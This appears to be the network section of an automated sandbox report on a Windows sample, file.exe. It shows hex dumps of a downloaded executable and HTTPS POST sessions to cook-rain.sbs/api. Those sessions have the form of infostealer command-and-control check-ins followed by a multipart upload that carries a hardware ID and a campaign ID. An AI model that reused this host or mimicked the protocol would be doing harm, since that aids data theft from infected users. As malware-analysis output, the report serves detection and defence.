00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 b5 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+G+`Ui` @ @.rsrc`2@.idata 8@zkqhbxhk`P:@acidwpaz +@.taggant@ +"@
Nov 18, 2024 17:23:27.244153976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244259119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244292974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244407892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244441032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244473934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 17:23:27.244513035 CET	1084	IN	Data Raw: e4 56 04 b0 bc b3 05 75 45 a2 03 ed 35 d8 60 9f e1 ef 6a 8f a2 8d 57 4f 71 68 39 6e 0b ed c9 84 9d da af 13 07 cb 8a cf ed 23 41 a5 16 91 f5 6f 52 69 25 9f 8e 5c f8 6a 44 8b 02 69 54 61 bc 81 56 54 15 af bc 5f 11 c7 a0 78 24 65 32 72 02 00 7f 3b Data Ascii: VuE5`jWOqh9n#AoRi%\jDiTaVT_x$e2r;l;oFLZ=WpHV~Ys'2xW_vvjIMl;<G0zHw1sKiLW<O9{PYc<}6T@,rG~B\|QKl^D\|Wtp\|EO1T,
Nov 18, 2024 17:23:27.244549990 CET	1236	IN	Data Raw: 3b 72 78 bf 08 80 08 7a b6 b6 10 7a 92 73 ca 7a 38 ec 28 73 be 83 bf ae 92 93 29 be 47 a3 03 ce b7 5f b8 d6 80 56 68 11 35 c3 29 ee d2 98 90 c3 38 56 c0 79 c3 d3 fd 96 d7 b6 66 46 e7 d6 20 7a 59 82 02 99 66 2b 36 a3 66 7c 2f 1e 37 6e 01 ae b5 de Data Ascii: ;rxzzsz8(s)G_Vh5)8VyfF zYf+6f\|/7n43)yc9;&6WwWt~n`_QJR:+;Wy<SWu<WWB;z7r?XOSM-YW[kuzw{<7Y'k}r
Nov 18, 2024 17:23:27.244621038 CET	212	IN	Data Raw: 6b 2c 66 7e 7a f2 67 81 80 97 6f d2 16 c1 28 a7 82 c3 3e 66 38 64 7b 95 38 9a 67 e2 9e f5 0a c3 84 a5 38 79 87 5e 48 73 a3 bc be 61 b5 d5 2a 56 b3 64 3c da 90 d1 6a 89 34 8b f4 9b 4c 50 d1 e2 53 cd 38 da 9e 1e 8e ec 2c 27 ce e1 74 82 12 b4 19 2c Data Ascii: k,f~zgo(>f8d{8g8y^Hsa*Vd<j4LPS8,'t,{Tyy{\|jML-s\i+p-@DIIK=`\+t~tM>$HMg?V=J2qSIF=tblPFZo8RJy
Nov 18, 2024 17:23:27.249228001 CET	1236	IN	Data Raw: a3 ad 6b 0a cb 67 67 9e 54 b1 5f b8 49 24 b0 b0 c0 07 35 01 06 40 b6 0f 31 76 0f 7f 90 29 e8 ec 00 68 c9 bf 64 81 09 72 81 ac 00 e3 d8 50 43 7b 94 99 53 4c 5d 1f 70 78 be ff 40 56 5b b1 9e bf e1 67 23 d7 a7 cd 82 da 5c 7c ef af 9a 84 08 88 a2 0e Data Ascii: kggT_I$5@1v)hdrPC{SL]px@V[g#\\|BdI&9;)d{ZdBlu7Pb&<#eW>9;L'EI6H"~Txoz@+Hxv\|AQpX&/q2;

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:07 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 16:23:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 16:23:08 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bm6i10tf7fse21nfadsgts77s0; expires=Fri, 14-Mar-2025 10:09:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TGdwZhJ5Pm1gFSCc9xpGCy4Za6BoHuHQFmG8fNDQ6qiR8Z%2FQWDmVs4HPtVA7lJcitesmv6MwkV9MuPlP7ClWPOOPQGHL2eZAjlkn5PhpcyXNTIG%2BDjEJ1wNGoX%2FtN1aK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494da0e913e743-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20637&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=152517&cwnd=32&unsent_bytes=0&cid=7a66ce4defb39bda&ts=731&x=0"
2024-11-18 16:23:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 16:23:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:08 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 16:23:08 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 16:23:09 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vlbvo6nhrh2fmi0ret2ifqthdf; expires=Fri, 14-Mar-2025 10:09:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VtKnD0HjiP9JKj317BRLGrG2ur2ZBGhVXRLJSYcjwI5wZgJvTNuyEz2BPuVgPYcfq3vRdqrHRMoYQq%2Fdak14KmoHKTUM4mG50%2BymboJ%2FvXSCrqL1VDxn7fujeawwvMza"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494da99b802ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1054&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=2625566&cwnd=251&unsent_bytes=0&cid=2ccddbb15d1f73eb&ts=602&x=0"
2024-11-18 16:23:09 UTC	366	IN	Data Raw: 34 64 62 0d 0a 70 6e 36 6c 65 72 49 6f 32 35 53 4a 33 77 65 35 44 6a 63 59 4c 44 38 39 76 2b 53 2f 74 52 33 58 36 6d 53 72 48 2f 78 41 51 71 6a 64 58 4e 4e 59 69 42 7a 33 74 76 71 36 4a 59 4e 36 52 57 31 4a 45 78 2f 65 67 4a 32 50 65 37 61 47 46 38 34 7a 33 6a 59 76 69 70 77 59 78 42 62 42 54 66 65 32 37 4b 63 6c 67 31 56 4d 4f 6b 6c 52 48 34 58 47 32 74 39 2f 74 6f 59 47 79 6e 53 54 4d 43 37 4c 7a 68 4c 43 45 74 64 4c 76 2f 58 6c 73 6d 4c 63 61 31 5a 79 51 6c 5a 51 31 34 6d 64 6d 54 2b 79 6b 45 61 52 50 62 45 6c 4e 73 6e 72 48 39 59 52 6b 46 58 33 37 36 75 36 61 5a 73 30 46 58 6c 4a 58 56 48 5a 67 4e 54 64 64 62 2b 4f 42 38 39 31 6a 43 6b 6b 77 4d 34 63 77 52 50 64 51 71 76 34 37 37 56 70 32 6d 46 57 4f 67 41 64 57 4d 58 47 68 5a 63 73 68 34 73 58 32 47 Data Ascii: 4dbpn6lerIo25SJ3we5DjcYLD89v+S/tR3X6mSrH/xAQqjdXNNYiBz3tvq6JYN6RW1JEx/egJ2Pe7aGF84z3jYvipwYxBbBTfe27Kclg1VMOklRH4XG2t9/toYGynSTMC7LzhLCEtdLv/XlsmLca1ZyQlZQ14mdmT+ykEaRPbElNsnrH9YRkFX376u6aZs0FXlJXVHZgNTddb+OB891jCkkwM4cwRPdQqv477Vp2mFWOgAdWMXGhZcsh4sX2G
2024-11-18 16:23:09 UTC	884	IN	Data Raw: 30 4e 51 58 39 43 4d 30 74 52 2f 73 6f 49 4d 78 6e 65 61 4c 79 33 4d 78 42 79 48 56 70 42 4e 6f 62 61 7a 2f 55 62 65 66 46 4a 32 57 42 39 6c 6e 5a 6d 54 7a 6a 2b 79 68 45 61 52 50 5a 59 6e 49 38 6e 50 45 38 51 51 32 31 69 35 35 4f 32 77 59 4d 6c 71 55 48 52 45 58 6b 33 58 69 4e 76 55 64 72 36 42 41 38 35 35 33 6d 78 67 7a 64 78 63 6e 31 6a 78 52 37 4c 36 34 61 70 6c 6d 33 4d 62 59 77 35 61 55 35 33 65 6e 64 4e 2b 73 59 6b 43 78 33 4f 61 4c 69 62 45 79 52 50 42 45 74 42 4e 73 2f 37 6a 76 47 6a 51 59 31 56 2f 51 31 6c 5a 30 59 66 59 6c 7a 48 31 6a 78 36 4a 4a 64 34 4d 4a 38 6e 57 58 76 49 62 33 6b 53 2b 34 4b 75 69 4b 38 49 73 55 6e 59 4f 42 52 2f 54 67 39 4c 46 66 71 65 4e 43 4e 74 78 6d 79 51 74 79 63 6f 63 77 68 2f 64 52 4c 2f 78 36 4c 56 68 32 6d 4a 5a Data Ascii: 0NQX9CM0tR/soIMxneaLy3MxByHVpBNobaz/UbefFJ2WB9lnZmTzj+yhEaRPZYnI8nPE8QQ21i55O2wYMlqUHREXk3XiNvUdr6BA8553mxgzdxcn1jxR7L64aplm3MbYw5aU53endN+sYkCx3OaLibEyRPBEtBNs/7jvGjQY1V/Q1lZ0YfYlzH1jx6JJd4MJ8nWXvIb3kS+4KuiK8IsUnYOBR/Tg9LFfqeNCNtxmyQtycocwh/dRL/x6LVh2mJZ
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 31 38 61 37 0d 0a 55 52 37 62 2f 34 72 52 33 30 57 42 62 61 45 4e 58 57 74 4f 4b 32 4e 68 2f 74 49 6b 49 77 33 62 65 62 47 44 4e 33 46 79 66 57 50 39 48 71 65 54 68 74 6e 53 5a 57 56 5a 30 51 46 70 4a 6e 5a 6d 54 7a 6a 2b 79 68 45 61 52 50 5a 55 6b 4c 4d 62 45 47 74 55 57 33 31 69 7a 35 4f 2b 7a 59 64 64 69 58 48 64 42 57 45 33 5a 68 73 2f 57 65 72 4b 47 43 39 74 34 33 6d 78 67 7a 64 78 63 6e 31 6a 71 66 72 37 6d 2b 72 6f 6e 37 6d 39 62 64 45 6c 4c 48 38 4c 49 78 4a 64 34 75 63 68 65 69 58 36 53 4c 79 6e 50 79 77 37 4e 46 4e 46 59 76 76 2f 69 74 32 54 56 59 31 35 32 53 30 39 55 30 6f 37 53 31 6e 4b 34 67 77 4c 4a 50 64 42 69 4a 39 4b 45 52 49 63 35 33 55 57 72 39 66 72 2f 55 4e 68 69 57 33 31 59 48 55 43 54 6e 35 33 51 63 2f 58 51 52 73 68 78 6b 69 4d 76 Data Ascii: 18a7UR7b/4rR30WBbaENXWtOK2Nh/tIkIw3bebGDN3FyfWP9HqeThtnSZWVZ0QFpJnZmTzj+yhEaRPZUkLMbEGtUW31iz5O+zYddiXHdBWE3Zhs/WerKGC9t43mxgzdxcn1jqfr7m+ron7m9bdElLH8LIxJd4ucheiX6SLynPyw7NFNFYvv/it2TVY152S09U0o7S1nK4gwLJPdBiJ9KERIc53UWr9fr/UNhiW31YHUCTn53Qc/XQRshxkiMv
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 41 54 32 30 36 39 39 75 61 32 61 39 56 6c 57 58 4a 43 57 6b 33 51 67 39 58 64 64 72 43 45 43 38 70 76 6e 53 4e 67 68 49 51 62 33 31 69 49 43 70 37 46 33 4a 34 6c 78 43 4a 4d 4f 6b 6c 52 48 34 58 47 33 4e 39 34 75 34 77 55 78 32 2b 51 4a 53 44 4d 7a 42 54 41 46 4e 35 45 71 2f 37 71 76 57 76 55 5a 46 78 2b 54 31 6c 62 30 59 47 64 6d 54 2b 79 6b 45 61 52 50 62 59 68 4f 74 43 47 4d 73 77 59 31 31 71 76 37 61 75 69 4b 38 49 73 55 6e 59 4f 42 52 2f 5a 6a 64 66 65 66 4c 79 4d 43 38 6c 30 6b 53 73 6f 78 38 77 4f 78 68 4c 43 54 72 7a 33 35 4c 64 68 30 32 42 61 64 6b 70 50 56 4a 33 49 6e 64 42 6e 39 64 42 47 36 58 61 49 41 54 4c 59 68 41 4f 4a 41 5a 42 4e 74 62 61 7a 2f 57 7a 58 62 56 52 77 53 46 5a 61 30 49 62 59 33 58 69 35 69 41 62 4b 65 35 67 76 4b 4d 4c 49 45 Data Ascii: AT20699ua2a9VlWXJCWk3Qg9XddrCEC8pvnSNghIQb31iICp7F3J4lxCJMOklRH4XG3N94u4wUx2+QJSDMzBTAFN5Eq/7qvWvUZFx+T1lb0YGdmT+ykEaRPbYhOtCGMswY11qv7auiK8IsUnYOBR/ZjdfefLyMC8l0kSsox8wOxhLCTrz35Ldh02BadkpPVJ3IndBn9dBG6XaIATLYhAOJAZBNtbaz/WzXbVRwSFZa0IbY3Xi5iAbKe5gvKMLIE
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 50 73 66 33 74 73 32 54 64 59 46 67 36 41 42 31 59 78 63 61 46 6c 31 69 76 68 51 44 65 62 4b 73 6c 49 4a 75 45 41 34 6b 42 6b 45 32 31 74 72 50 39 61 4e 64 6d 57 48 39 4b 56 56 6a 65 68 39 48 54 63 72 69 4d 44 38 31 34 6a 44 41 6d 78 4d 51 54 79 52 66 63 57 4c 66 7a 36 37 45 6c 6c 53 78 53 59 67 34 46 48 2b 79 52 33 5a 64 67 2b 35 46 47 7a 6e 48 65 65 6d 44 46 79 51 37 4c 46 39 42 4c 75 76 4c 67 75 6d 50 64 62 56 5a 2f 54 56 68 5a 33 49 62 52 33 58 69 39 67 67 6a 45 65 35 6f 6b 4a 6f 71 4b 58 4d 41 41 6b 42 4c 35 78 4f 61 7a 62 4e 68 71 57 47 78 6d 62 42 2f 43 79 4d 53 58 65 4c 6e 49 58 6f 6c 35 6c 53 6f 73 7a 38 77 5a 78 68 44 61 51 72 62 35 2b 62 78 71 30 6d 74 65 64 30 46 54 57 74 4f 55 32 74 78 30 76 59 45 49 7a 7a 33 51 59 69 66 53 68 45 53 48 4c 74 Data Ascii: Psf3ts2TdYFg6AB1YxcaFl1ivhQDebKslIJuEA4kBkE21trP9aNdmWH9KVVjeh9HTcriMD814jDAmxMQTyRfcWLfz67EllSxSYg4FH+yR3Zdg+5FGznHeemDFyQ7LF9BLuvLgumPdbVZ/TVhZ3IbR3Xi9ggjEe5okJoqKXMAAkBL5xOazbNhqWGxmbB/CyMSXeLnIXol5lSosz8wZxhDaQrb5+bxq0mted0FTWtOU2tx0vYEIzz3QYifShESHLt
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 34 37 6c 72 79 57 31 61 4f 67 41 64 57 4d 58 47 68 5a 64 4f 6f 34 38 42 78 6a 2b 33 4a 54 76 4c 7a 68 2f 4d 46 4a 42 56 39 2b 2b 72 75 6d 6d 62 4e 42 56 33 51 6c 42 62 7a 34 72 64 31 33 61 79 67 68 54 47 63 70 4d 68 49 4d 2f 57 48 64 55 58 32 30 2b 36 38 75 53 79 61 64 4e 6d 46 54 51 4f 57 6b 65 64 33 70 33 37 66 4b 53 43 52 4f 35 6e 69 43 55 73 32 38 38 52 79 31 6a 50 42 4b 43 32 37 4c 45 6c 67 79 78 56 65 30 4e 50 57 74 79 4d 31 39 70 33 75 6f 30 44 78 6e 6d 61 4b 53 37 59 79 68 50 48 48 74 74 4c 76 50 58 67 74 32 76 53 66 68 55 30 44 6c 70 48 6e 64 36 64 2f 57 53 30 68 51 71 4c 55 35 55 30 4a 34 6a 6c 45 73 77 66 33 46 7a 35 36 61 57 6b 4a 64 78 67 46 53 49 4f 56 46 48 52 68 64 72 66 64 37 43 49 44 63 6c 79 6c 43 77 6e 32 4d 34 51 7a 51 72 66 53 62 54 Data Ascii: 47lryW1aOgAdWMXGhZdOo48Bxj+3JTvLzh/MFJBV9++rummbNBV3QlBbz4rd13ayghTGcpMhIM/WHdUX20+68uSyadNmFTQOWked3p37fKSCRO5niCUs288Ry1jPBKC27LElgyxVe0NPWtyM19p3uo0DxnmaKS7YyhPHHttLvPXgt2vSfhU0DlpHnd6d/WS0hQqLU5U0J4jlEswf3Fz56aWkJdxgFSIOVFHRhdrfd7CIDclylCwn2M4QzQrfSbT
2024-11-18 16:23:09 UTC	843	IN	Data Raw: 38 49 73 55 6e 59 4f 42 52 2f 64 67 74 48 55 65 4c 75 48 43 38 5a 36 6c 53 30 71 78 4e 59 54 77 68 44 63 51 72 54 6b 34 62 64 33 30 6d 56 59 64 45 5a 50 58 4a 33 49 6e 64 42 6e 39 64 42 47 2b 33 65 64 4c 6a 62 48 79 31 7a 59 56 73 6b 4b 76 76 71 72 35 53 58 4a 66 6c 56 78 54 6c 70 52 7a 34 66 56 32 48 57 31 6a 67 33 44 66 70 63 6d 4c 73 50 43 48 63 6f 5a 30 55 71 38 39 75 4b 76 61 4a 73 69 46 58 31 57 48 51 65 64 73 64 48 63 54 72 61 65 52 74 59 7a 68 32 49 6e 78 6f 52 45 68 78 6e 43 52 37 48 79 36 37 42 6a 30 47 31 55 65 55 35 64 58 4e 32 44 31 74 68 35 73 6f 55 4d 77 48 53 4d 4b 69 54 59 78 42 44 44 57 4a 34 4b 76 75 36 72 35 53 58 72 62 31 35 32 54 6c 42 4b 6e 5a 6d 54 7a 6a 2b 79 68 45 61 52 50 5a 59 70 4b 38 7a 50 48 38 51 57 32 30 43 32 2b 65 47 37 Data Ascii: 8IsUnYOBR/dgtHUeLuHC8Z6lS0qxNYTwhDcQrTk4bd30mVYdEZPXJ3IndBn9dBG+3edLjbHy1zYVskKvvqr5SXJflVxTlpRz4fV2HW1jg3DfpcmLsPCHcoZ0Uq89uKvaJsiFX1WHQedsdHcTraeRtYzh2InxoREhxnCR7Hy67Bj0G1UeU5dXN2D1th5soUMwHSMKiTYxBDDWJ4Kvu6r5SXrb152TlBKnZmTzj+yhEaRPZYpK8zPH8QW20C2+eG7
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 32 32 32 61 0d 0a 7a 56 57 49 67 4b 2f 76 58 35 72 32 50 59 65 6c 59 39 63 47 4e 63 79 34 76 53 33 48 36 4c 74 69 6a 45 66 4a 30 73 59 76 76 53 45 64 63 62 31 55 32 48 79 4f 57 36 63 64 78 69 55 33 6f 4f 45 78 2f 53 78 6f 58 75 50 2f 33 49 4f 59 63 39 68 6d 4a 34 69 76 45 66 79 52 62 58 58 4b 69 37 79 4b 74 6f 31 47 64 55 4f 67 41 64 57 5a 33 65 6a 5a 6b 2f 73 5a 6c 47 6b 53 33 4d 65 58 57 5a 6b 30 79 56 42 35 35 54 2b 65 43 72 35 54 65 56 4c 45 63 36 46 68 30 59 30 34 76 63 31 48 47 32 6d 68 54 50 66 6f 67 68 5a 2f 54 36 50 63 6f 54 33 45 65 32 2f 64 57 44 52 4e 5a 6e 57 58 64 42 56 6d 48 6a 6b 39 37 5a 63 62 4b 65 46 34 6b 7a 33 69 31 67 6b 76 31 63 6a 31 6a 76 42 50 6e 75 71 2b 55 6c 37 6d 39 62 64 45 6c 4c 54 70 43 6e 30 4e 78 7a 75 49 63 4e 69 54 50 Data Ascii: 222azVWIgK/vX5r2PYelY9cGNcy4vS3H6LtijEfJ0sYvvSEdcb1U2HyOW6cdxiU3oOEx/SxoXuP/3IOYc9hmJ4ivEfyRbXXKi7yKto1GdUOgAdWZ3ejZk/sZlGkS3MeXWZk0yVB55T+eCr5TeVLEc6Fh0Y04vc1HG2mhTPfoghZ/T6PcoT3Ee2/dWDRNZnWXdBVmHjk97ZcbKeF4kz3i1gkv1cj1jvBPnuq+Ul7m9bdElLTpCn0NxzuIcNiTP
2024-11-18 16:23:09 UTC	1369	IN	Data Raw: 64 49 66 67 43 62 75 62 36 37 31 2b 37 74 6d 35 56 4a 2b 64 6b 68 61 52 64 71 41 2b 2f 63 2f 2b 38 67 4a 69 53 57 6e 59 6d 69 4b 2b 31 4b 48 41 4a 41 53 2b 63 50 6f 73 32 76 63 65 6b 51 33 61 30 70 63 7a 59 44 65 6c 7a 48 31 6a 6b 61 52 4c 64 42 69 4a 4e 75 45 52 4a 64 4b 69 78 2f 71 6f 62 76 76 65 70 56 31 46 57 77 4f 42 51 32 54 78 73 2b 58 4a 2f 58 50 42 64 74 76 6d 43 45 32 79 59 4d 69 2b 54 37 54 57 37 50 58 35 71 31 69 35 56 4a 41 65 55 42 54 57 4d 75 58 6e 5a 6b 2f 75 73 68 65 38 44 33 57 62 69 62 4a 30 6c 7a 34 56 70 42 53 2b 61 36 72 69 47 62 56 59 6c 4a 73 58 78 42 35 33 70 66 58 39 6e 4b 6c 6a 30 61 48 50 5a 68 69 65 4a 6d 4b 58 4d 4d 4a 6b 42 4c 70 70 4c 44 6f 4e 6f 77 38 42 32 55 41 52 42 2f 4c 78 6f 57 46 4d 66 57 61 52 70 45 39 32 53 45 79 Data Ascii: dIfgCbub671+7tm5VJ+dkhaRdqA+/c/+8gJiSWnYmiK+1KHAJAS+cPos2vcekQ3a0pczYDelzH1jkaRLdBiJNuERJdKix/qobvvepV1FWwOBQ2Txs+XJ/XPBdtvmCE2yYMi+T7TW7PX5q1i5VJAeUBTWMuXnZk/ushe8D3WbibJ0lz4VpBS+a6riGbVYlJsXxB53pfX9nKlj0aHPZhieJmKXMMJkBLppLDoNow8B2UARB/LxoWFMfWaRpE92SEy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:10 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EMOO72OR997SMK2D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: cook-rain.sbs
2024-11-18 16:23:10 UTC	15331	OUT	Data Raw: 2d 2d 45 4d 4f 4f 37 32 4f 52 39 39 37 53 4d 4b 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 45 4d 4f 4f 37 32 4f 52 39 39 37 53 4d 4b 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4d 4f 4f 37 32 4f 52 39 39 37 53 4d 4b 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --EMOO72OR997SMK2DContent-Disposition: form-data; name="hwid"C29CE2FE52302EA1F7005D7B20127A88--EMOO72OR997SMK2DContent-Disposition: form-data; name="pid"2--EMOO72OR997SMK2DContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-18 16:23:10 UTC	2826	OUT	Data Raw: f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
